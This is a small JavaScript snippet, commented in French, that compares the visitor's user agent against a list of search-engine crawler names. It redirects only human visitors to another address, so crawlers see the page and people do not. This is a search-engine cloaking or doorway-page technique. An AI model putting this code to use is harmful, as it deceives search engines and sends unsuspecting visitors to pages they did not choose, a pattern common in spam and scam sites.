// renvoi si visiteur pas robot
function renvoi(address) {
robots = new Array("Googlebot","MSNBot","Slurp","Yahoo","VoilaBot","ZyBorg","Crawler","DeepIndex","Teoma","appie","Gigabot","RobotMirago","Psbot","Szukacz","Openbot","dloader");
var guess = "";
for(var redir in robots) {
var robid = robots[redir];
var or =  navigator.userAgent;
if(or.match(robid) != null) {
	var guess = "spider";
	break; }
}
if(guess != "spider") 
	window.location=address;
	//document.write( navigator.userAgent);
}